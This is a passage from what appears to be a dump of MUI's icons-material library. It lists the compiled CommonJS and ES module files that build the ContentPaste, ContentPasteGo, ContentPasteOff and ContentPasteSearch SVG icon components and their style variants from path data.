    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGo');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGo');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.29 16.29-2.58-2.58a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.87.88H13c-.55 0-1 .45-1 1s.45 1 1 1h5.17l-.87.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.58-2.58c.39-.4.39-1.03 0-1.42\"\n}, \"1\")], 'ContentPasteGoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.29 16.29-2.58-2.58a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.87.88H13c-.55 0-1 .45-1 1s.45 1 1 1h5.17l-.87.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.58-2.58c.39-.4.39-1.03 0-1.42\"\n}, \"1\")], 'ContentPasteGoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h7v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v6h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h7v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"1\")], 'ContentPasteGoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 17c0-3.31 2.69-6 6-6h3V5h-2v3H7V5H5v14h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19H5V5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5zm2-16c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"2\")], 'ContentPasteGoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteGoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 17c0-3.31 2.69-6 6-6h3V5h-2v3H7V5H5v14h5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19H5V5h2v3h10V5h2v6h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5zm2-16c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.01 13-1.42 1.41 1.58 1.58H12v2h6.17l-1.58 1.59 1.42 1.41 3.99-4z\"\n}, \"2\")], 'ContentPasteGoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.9.91V19c0 1.1.9 2 2 2h13.17l.9.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.9.91V19c0 1.1.9 2 2 2h13.17l.9.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V21h15.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V21h15.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'ContentPasteOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 8H17V5h2v11.17zM5 19V7.83L16.17 19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'ContentPasteOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 8H17V5h2v11.17zM5 19V7.83L16.17 19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61zM5 19V7.83L16.17 19zM17 8V5h2v11.17l2 2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5.83l5 5zm-5-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'ContentPasteOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPasteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPasteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 18H6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h1v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V4h1c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1\"\n}), 'ContentPasteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 18H6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h1v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V4h1c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1\"\n}), 'ContentPasteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.3 20.9-2-2c.58-1.01.95-2.23.51-3.65-.53-1.72-2.04-3.05-3.84-3.22-2.87-.28-5.23 2.07-4.95 4.95.18 1.79 1.5 3.31 3.22 